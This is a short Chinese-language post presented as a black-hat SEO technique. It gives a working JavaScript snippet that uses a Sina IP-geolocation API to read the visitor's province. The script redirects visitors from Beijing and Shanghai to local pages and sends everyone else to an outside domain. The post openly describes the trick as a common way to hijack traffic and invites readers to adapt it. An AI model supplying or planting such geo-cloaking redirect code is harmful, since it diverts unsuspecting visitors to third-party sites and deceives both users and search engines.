黑帽SEO之判斷地區跳轉代碼,指定省份跳轉代碼,利用新浪api進行跳轉

判斷地區跳轉代碼,可以識別當前用戶省份,市地區,然后跳轉到指定的url上。
北京用戶跳轉到bj.html , 上海用戶自動跳轉到sh.html
黑帽技術常用手段之一,做黑帽的經常使用此方法劫持流量
下面的代碼就是利用新浪api進行跳轉,代碼如下:請各位按自己需求進行修改
<script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset="GB2312" ></script> <script type=text/javascript> var _area=remote_ip_info.province; if( _area=='北京'){ window.location.href="/bj.html"; }else if( _area=='上海'){ window.location.href="/sh.html"; }else{ window.location.href="http://www.yetiskinlerchat.com/"; } </script>
責任編輯:黑帽SEO之判斷地區跳轉代碼,指定省份跳轉代碼,利用新浪api進行跳轉